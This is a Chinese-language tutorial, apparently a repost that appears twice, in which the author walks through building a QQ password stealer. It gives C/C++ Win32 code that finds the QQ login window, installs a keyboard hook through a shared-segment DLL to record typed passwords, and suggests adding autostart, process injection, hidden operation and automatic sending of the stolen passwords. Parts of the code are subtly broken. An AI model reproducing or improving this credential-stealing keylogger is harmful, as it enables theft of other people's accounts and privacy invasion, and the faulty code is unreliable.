一、思路分析(一) 數據包的角度 (二) 鈎子角度 1. 鈎子簡介 2. 程序流程 ;二、 實現過程
(一) 定義宏
(二) 枚舉進程找到QQ.exe
(三) 枚舉所有窗口,找屬于QQ.exe的窗口
(四) 獲取用戶名、密碼、登陸按鈕的句柄
(五) 創建鈎子用的DLL
(六) 安裝鈎子
一直以來我對盜QQ這種技術都比較的好奇,最近爲了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下:
本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程。
一、 思路分析
一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鈎子技術。
(一) 數據包的角度
從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然後把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什麽研究,所以沒有采用這個思路,以後有機會倒是可以試試。
(二) 鈎子角度
平時寫盜密碼程序用的最多的應該就是鈎子技術了,因爲操作系統提供的API可以讓我們很輕松的安裝和卸載鈎子,從而輕易得到我們想要的東西。
1. 鈎子簡介
鈎子是一個很形象的詞,它就像一個「鈎」,通過它就可以把操作系統裏的消息給鈎下來,經過我們處理後再發送出去。具體如下圖:
2. 程序流程
Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:
從圖中可以大概知道,QQ登陸窗口左上角的文字並不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:
二、 實現過程
有了上面這個流程圖後,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下爲我的程序的要害代碼:
(一) 定義宏
//QQ登陸框正常情況下的風格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陸框最小化時的風格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用戶名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密碼控件文本框的ID
#define QQLoginPassWordId 0x000000B4
//登陸按扭的ID
#define QQLoginButtonId 0x00003EA0
(二) 枚舉進程找到QQ.exe
//定義PROCESSENTRY32結構
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有進程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("進程快照失敗!\n");
return -1;
}
BOOL bRet;
//遍曆進程快照,輪流顯示每個進程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值爲進程對應的可執行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
//這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。
BOOL bRet;
//枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚舉所有窗口失敗!\n");
return -1;
}
}
}
這裏要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include <tlhelp32.h>。
(三) 枚舉所有窗口,找屬于QQ.exe的窗口
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == NULL)
{
return FALSE;
}
//QQ.exe的ID
DWORD dwQQProcessID;
dwQQProcessID = (DWORD)lParam;
GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);
//假如創建QQ.exe的進程等于創建窗口的進程
if(dwQQProcessID == dwCreateWindowProcessID)
{
LONG lWindowStyle;
//找到窗口的風格
lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);
//假如條件成立,表示當前窗口爲登陸窗口
if(lWindowStyle == QQLoginDlgNormalStyle
lWindowStyle == QQLoginDlgMiniStyle)
{
//保存登陸窗口的句柄
hLoginWindow = hwnd;
}
}
return TRUE;
}
該回調函數執行完後,就得到QQ登陸窗口的句柄。保存在hLoginWindow中。
(四) 獲取用戶名、密碼、登陸按鈕的句柄
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == FALSE)
{
return FALSE;
}
LONG lID;
//取得所有子窗口的ID
lID = GetWindowLong(hwnd, GWL_ID);
//該句表示找到用戶名的句柄
if(lID == QQLoginUserNameId)
{
hUserName = hwnd;
}
else if(lID == QQLoginPasswordId)
{
hUserPwd = hwnd;
}
else if(lID == QQLoginButtonId)
{
hLoginButton = hwnd;
}
return TRUE;
}
注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!
//用戶名、密碼、登陸按鈕的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton;
(五) 創建鈎子用的DLL
1. 申明函數
新建一個Win32 Dynamic-Link Library項目,命名爲:QQHook。選擇空DLL選項,然後在QQHook.h中申明函數:
#define QQHookLIB_API __declspec(dlleXPort)
//聲明要導出的函數
//安裝鍵盤鈎子函數
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID);
2. 申明共享數據段以及導出函數
選「新建文件Text File」,文件名稱處輸入QQHook.def,然後添加如下代碼:
EXPORTS
SetKeyBoardHook
SECTIONS
QQSpyShare Read Write Shared
這樣SetKeyBoardHook函數即爲導出函數了,可以在別的項目中被調用。
3. DLL主要代碼
接下來在QQHook.cpp文件中添加如下代碼:
//共享數據段,注重要初始化
#pragma data_seg("QQSpyShare")
HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄
HHOOK g_hMessageHook = NULL; //消息鈎子句柄
HHOOK g_hKeyBoardHook = NULL; //鍵盤鈎子句柄
HWND hQQLoginUserName = NULL;
HWND hQQLoginUserPwd = NULL;
HWND hQQLoginButton = NULL;
#pragma data_seg()
//安裝鍵盤鈎子函數
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID)
{
BOOL bResult;
if(bInstall)
{
//保存用戶名的句柄
hQQLoginUserName = hUserName;
//保存密碼的句柄
hQQLoginUserPwd = hUserPwd;
//保存登陸QQ按鈕的句柄
hQQLoginButton = hLoginButton;
//保存登陸窗口的句柄
g_hLoginWindowWnd = hLoginWindow;
//登陸窗口的主線程,安裝鈎子的時候要用
DWORD dwCreateLoginWindowThreadId;
dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);
//在登陸窗口主線程上安裝鈎子
g_hKeyBoardHook = SetWindowsHookEx(
WH_KEYBOARD, //安裝鍵盤鈎子
(HOOKPROC)KeyBoardProc, //鍵盤鈎子回調函數
hDll, //QQHook.dll模塊句柄
dwCreateLoginWindowThreadId); //登陸窗口的主線程
if(g_hKeyBoardHook == NULL)
{
printf("鍵盤鈎子安裝失敗!");
return FALSE;
}
else
{
printf("鍵盤鈎子安裝成功了!");
return TRUE;
}
}
else
{
//卸載鈎子
bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
if(bResult == TRUE)
{
printf("鍵盤鈎子卸載成功!");
return TRUE;
}
else
{
printf("鍵盤鈎子卸載失敗!");
return FALSE;
}
}
return TRUE;
}
以上代碼的作用是在登陸窗口的主線程上安裝鈎子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數裏的代碼。只要我們在鍵盤鈎子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下爲鍵盤鈎子回調函數代碼://鍵盤鈎子回調函數
LRESULT CALLBACK KeyBoardProc(int ncode,
WPARAM wParam,
LPARAM lParam
)
{
//創建一個緩沖區保存連起來的密碼
static char buf[250] = {0};
//用于保存用戶名框的內容
char cUserName[10];
ZeroMemory(cUserName, 10);
//用于保存用戶在密碼框上的每一個按鍵
char cUserPwd[30];
//假如按的鍵是回車鍵
if (wParam == VK_RETURN && lParam > 0)
{
//得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得
SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
}
//假如不是按回車,並且是在密碼框中輸入
if (lParam > 0 && wParam != VK_RETURN &&
//當前輸入框爲密碼框
hQQLoginUserPwd == GetFocus())
{
//記下密碼框中輸入的字符
GetKeyNameText(lParam, cUserPwd, 30);
//以下代碼把每一次按的鍵連起來形成一個完整的密碼
static int index = 0;
if(index == 0)
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcpy(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcpy(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcpy(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcpy(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcpy(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcpy(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcpy(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcpy(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcpy(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcpy(buf,"0");
}
else
{
strcpy(buf,cUserPwd);
}
}
else
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcat(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcat(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcat(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcat(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcat(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcat(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcat(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcat(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcat(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcat(buf,"0");
}
else
{
strcat(buf,cUserPwd);
}
}
++index;
}
//假如按的是回車,將上面得到的用戶名和密碼連在一起顯示
if (wParam == VK_RETURN && lParam > 0)
{
char cAccount;
strcpy(&cAccount,"用戶名:");
strcat(&cAccount,cUserName);
strcat(&cAccount,"\n密 碼:");
strcat(&cAccount,buf);
strcat(&cAccount,"\nBy:∮明天去要飯");
//cAccount中保存了用戶名和密碼,想怎麽處理就怎麽處理
MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
這裏需要注重以下幾個問題:
1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行。
2. 定義的變量index之所以要定義成static,是因爲index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼。
3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理。
4. 從這個回調函數可以知道,假如用戶在輸密碼的時候後退了,或是刪除了密碼再繼續輸入,那麽記錄下來的內容將是不准確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了。
(六) 申明導出函數
(七) 安裝鈎子
上面只是提供了一個安裝鈎子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鈎子。
//用戶名、密碼、登陸按鈕的句柄都不爲空時安裝鈎子
if(hUserName != NULL &&
hUserPwd != NULL &&
hLoginButton != NULL)
{
//得到DLL模塊的句柄
hDll = GetModuleHandle("QQHook.dll");
if(hDll == NULL)
{
return FALSE;
}
//安裝鍵盤鈎子
bKeyBoardHook = SetKeyBoardHook(
TRUE,
hDll,
hLoginWindow,
hUserName,
hUserPwd,
hLoginButton,
dwCreateWindowProcessID);
if(bKeyBoardHook == FALSE)
{
printf("調用鍵盤鈎子失敗!");
return FALSE;
}
}
以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然後運行主程序QQSpy.exe,接下來輸用戶名和密碼並回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:
1. 改進記錄密碼的代碼。
2. 加入對鼠標點擊「登錄QQ」進行HOOK的代碼。
3. 設置成自動啓動。
4. 注入到別的進程中。
5. 運行的時候沒有界面,記錄下來後自動發送密碼。
由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。
一、思路分析 (一) 數據包的角度 (二) 鈎子角度 1. 鈎子簡介 2. 程序流程 ;二、 實現過程
(一) 定義宏
(二) 枚舉進程找到QQ.exe
(三) 枚舉所有窗口,找屬于QQ.exe的窗口
(四) 獲取用戶名、密碼、登陸按鈕的句柄
(五) 創建鈎子用的DLL
(六) 安裝鈎子
一直以來我對盜QQ這種技術都比較的好奇,最近爲了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下:
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599006.jpg[/img][/url]
本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程。
一、 思路分析
一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鈎子技術。
(一) 數據包的角度
從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然後把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什麽研究,所以沒有采用這個思路,以後有機會倒是可以試試。
(二) 鈎子角度
平時寫盜密碼程序用的最多的應該就是鈎子技術了,因爲操作系統提供的API可以讓我們很輕松的安裝和卸載鈎子,從而輕易得到我們想要的東西。
1. 鈎子簡介
鈎子是一個很形象的詞,它就像一個「鈎」,通過它就可以把操作系統裏的消息給鈎下來,經過我們處理後再發送出去。具體如下圖:
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599111.jpg[/img][/url]
2. 程序流程
Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599223.jpg[/img][/url]
從圖中可以大概知道,QQ登陸窗口左上角的文字並不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599384.jpg[/img][/url]
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599559.jpg[/img][/url]
[url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599758.jpg[/img][/url]
二、 實現過程
有了上面這個流程圖後,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下爲我的程序的要害代碼:
(一) 定義宏
//QQ登陸框正常情況下的風格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陸框最小化時的風格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用戶名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密碼控件文本框的ID
#define QQLoginPassWordId 0x000000B4
//登陸按扭的ID
#define QQLoginButtonId 0x00003EA0
(二) 枚舉進程找到QQ.exe
//定義PROCESSENTRY32結構
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有進程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("進程快照失敗!\n");
return -1;
}
BOOL bRet;
//遍曆進程快照,輪流顯示每個進程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值爲進程對應的可執行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
//這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。
BOOL bRet;
//枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚舉所有窗口失敗!\n");
return -1;
}
}
}
這裏要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include <tlhelp32.h>。
(三) 枚舉所有窗口,找屬于QQ.exe的窗口
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == NULL)
{
return FALSE;
}
//QQ.exe的ID
DWORD dwQQProcessID;
dwQQProcessID = (DWORD)lParam;
GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);
//假如創建QQ.exe的進程等于創建窗口的進程
if(dwQQProcessID == dwCreateWindowProcessID)
{
LONG lWindowStyle;
//找到窗口的風格
lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);
//假如條件成立,表示當前窗口爲登陸窗口
if(lWindowStyle == QQLoginDlgNormalStyle
lWindowStyle == QQLoginDlgMiniStyle)
{
//保存登陸窗口的句柄
hLoginWindow = hwnd;
}
}
return TRUE;
}
該回調函數執行完後,就得到QQ登陸窗口的句柄。保存在hLoginWindow中。
(四) 獲取用戶名、密碼、登陸按鈕的句柄
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == FALSE)
{
return FALSE;
}
LONG lID;
//取得所有子窗口的ID
lID = GetWindowLong(hwnd, GWL_ID);
//該句表示找到用戶名的句柄
if(lID == QQLoginUserNameId)
{
hUserName = hwnd;
}
else if(lID == QQLoginPasswordId)
{
hUserPwd = hwnd;
}
else if(lID == QQLoginButtonId)
{
hLoginButton = hwnd;
}
return TRUE;
}
注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!
//用戶名、密碼、登陸按鈕的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton;
(五) 創建鈎子用的DLL
1. 申明函數
新建一個Win32 Dynamic-Link Library項目,命名爲:QQHook。選擇空DLL選項,然後在QQHook.h中申明函數:
#define QQHookLIB_API __declspec(dlleXPort)
//聲明要導出的函數
//安裝鍵盤鈎子函數
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID);
2. 申明共享數據段以及導出函數
選「新建文件Text File」,文件名稱處輸入QQHook.def,然後添加如下代碼:
EXPORTS
SetKeyBoardHook
SECTIONS
QQSpyShare Read Write Shared
這樣SetKeyBoardHook函數即爲導出函數了,可以在別的項目中被調用。
3. DLL主要代碼
接下來在QQHook.cpp文件中添加如下代碼:
//共享數據段,注重要初始化
#pragma data_seg("QQSpyShare")
HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄
HHOOK g_hMessageHook = NULL; //消息鈎子句柄
HHOOK g_hKeyBoardHook = NULL; //鍵盤鈎子句柄
HWND hQQLoginUserName = NULL;
HWND hQQLoginUserPwd = NULL;
HWND hQQLoginButton = NULL;
#pragma data_seg()
//安裝鍵盤鈎子函數
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID)
{
BOOL bResult;
if(bInstall)
{
//保存用戶名的句柄
hQQLoginUserName = hUserName;
//保存密碼的句柄
hQQLoginUserPwd = hUserPwd;
//保存登陸QQ按鈕的句柄
hQQLoginButton = hLoginButton;
//保存登陸窗口的句柄
g_hLoginWindowWnd = hLoginWindow;
//登陸窗口的主線程,安裝鈎子的時候要用
DWORD dwCreateLoginWindowThreadId;
dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);
//在登陸窗口主線程上安裝鈎子
g_hKeyBoardHook = SetWindowsHookEx(
WH_KEYBOARD, //安裝鍵盤鈎子
(HOOKPROC)KeyBoardProc, //鍵盤鈎子回調函數
hDll, //QQHook.dll模塊句柄
dwCreateLoginWindowThreadId); //登陸窗口的主線程
if(g_hKeyBoardHook == NULL)
{
printf("鍵盤鈎子安裝失敗!");
return FALSE;
}
else
{
printf("鍵盤鈎子安裝成功了!");
return TRUE;
}
}
else
{
//卸載鈎子
bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
if(bResult == TRUE)
{
printf("鍵盤鈎子卸載成功!");
return TRUE;
}
else
{
printf("鍵盤鈎子卸載失敗!");
return FALSE;
}
}
return TRUE;
}
以上代碼的作用是在登陸窗口的主線程上安裝鈎子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數裏的代碼。只要我們在鍵盤鈎子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下爲鍵盤鈎子回調函數代碼: //鍵盤鈎子回調函數
LRESULT CALLBACK KeyBoardProc(int ncode,
WPARAM wParam,
LPARAM lParam
)
{
//創建一個緩沖區保存連起來的密碼
static char buf[250] = {0};
//用于保存用戶名框的內容
char cUserName[10];
ZeroMemory(cUserName, 10);
//用于保存用戶在密碼框上的每一個按鍵
char cUserPwd[30];
//假如按的鍵是回車鍵
if (wParam == VK_RETURN && lParam > 0)
{
//得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得
SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
}
//假如不是按回車,並且是在密碼框中輸入
if (lParam > 0 && wParam != VK_RETURN &&
//當前輸入框爲密碼框
hQQLoginUserPwd == GetFocus())
{
//記下密碼框中輸入的字符
GetKeyNameText(lParam, cUserPwd, 30);
//以下代碼把每一次按的鍵連起來形成一個完整的密碼
static int index = 0;
if(index == 0)
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcpy(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcpy(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcpy(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcpy(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcpy(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcpy(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcpy(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcpy(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcpy(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcpy(buf,"0");
}
else
{
strcpy(buf,cUserPwd);
}
}
else
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcat(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcat(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcat(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcat(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcat(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcat(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcat(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcat(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcat(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcat(buf,"0");
}
else
{
strcat(buf,cUserPwd);
}
}
++index;
}
//假如按的是回車,將上面得到的用戶名和密碼連在一起顯示
if (wParam == VK_RETURN && lParam > 0)
{
char cAccount;
strcpy(&cAccount,"用戶名:");
strcat(&cAccount,cUserName);
strcat(&cAccount,"\n密 碼:");
strcat(&cAccount,buf);
strcat(&cAccount,"\nBy:∮明天去要飯");
//cAccount中保存了用戶名和密碼,想怎麽處理就怎麽處理
MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
這裏需要注重以下幾個問題:
1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行。
2. 定義的變量index之所以要定義成static,是因爲index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼。
3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理。
4. 從這個回調函數可以知道,假如用戶在輸密碼的時候後退了,或是刪除了密碼再繼續輸入,那麽記錄下來的內容將是不准確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了。
(六) 申明導出函數
(七) 安裝鈎子
上面只是提供了一個安裝鈎子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鈎子。
//用戶名、密碼、登陸按鈕的句柄都不爲空時安裝鈎子
if(hUserName != NULL &&
hUserPwd != NULL &&
hLoginButton != NULL)
{
//得到DLL模塊的句柄
hDll = GetModuleHandle("QQHook.dll");
if(hDll == NULL)
{
return FALSE;
}
//安裝鍵盤鈎子
bKeyBoardHook = SetKeyBoardHook(
TRUE,
hDll,
hLoginWindow,
hUserName,
hUserPwd,
hLoginButton,
dwCreateWindowProcessID);
if(bKeyBoardHook == FALSE)
{
printf("調用鍵盤鈎子失敗!");
return FALSE;
}
}
以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然後運行主程序QQSpy.exe,接下來輸用戶名和密碼並回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:
1. 改進記錄密碼的代碼。
2. 加入對鼠標點擊「登錄QQ」進行HOOK的代碼。
3. 設置成自動啓動。
4. 注入到別的進程中。
5. 運行的時候沒有界面,記錄下來後自動發送密碼。
由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。